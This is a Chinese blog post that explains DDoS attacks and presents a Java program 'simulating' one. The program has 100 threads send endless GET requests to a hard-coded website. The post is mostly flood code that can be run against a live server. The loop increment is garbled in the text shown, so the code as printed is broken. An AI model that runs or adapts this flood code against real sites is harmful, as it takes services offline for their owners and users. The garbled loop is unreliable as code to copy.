使用多线程模拟Ddos攻击

2019-07-25 17:31:51 浏览数 (1)

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。

单机使用线程模拟

代码语言:javascript复制
package ddos;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

/**
 * 线程类 用来多线程攻击域名服务器
 * Created by wangnian on 2016/4/2.
 */
 class Ddosthread  implements  Runnable {
    String urlStr="http://www.wangnian.pub";
    public void run() {
        //死循环
        while (true){
            try {
                URL url =new URL(urlStr);
                URLConnection conn=url.openConnection();
                InputStream inputStream= conn.getInputStream();
                // 定义 BufferedReader输入流来读取URL的响应
                BufferedReader in = new BufferedReader(new InputStreamReader(inputStream));
                String line= in.readLine();
                if(line!=null){
                    System.out.println("发送成功");
                }else{
                    System.out.println("访问不了");
                }
            }catch (MalformedURLException e) {
                System.out.println("网址错误");
            } catch (IOException e) {
                System.out.println("网址打不开");
            }


        }

    }
}

public class DdosTest{
     /**
      * 创建100个线程分别执行100次get请求 模拟ddos攻击 服务器
      */
     public static void main(String[] args) {

         ExecutorService executorService= Executors.newFixedThreadPool(100);
         Ddosthread ddosthread=new Ddosthread();
         Thread thread=new Thread(ddosthread);
         for(int i=0;i<100;i  ){
             executorService.execute(thread);
         }
     }
}

博客地址:http://my.oschina.net/wangnian

0 人点赞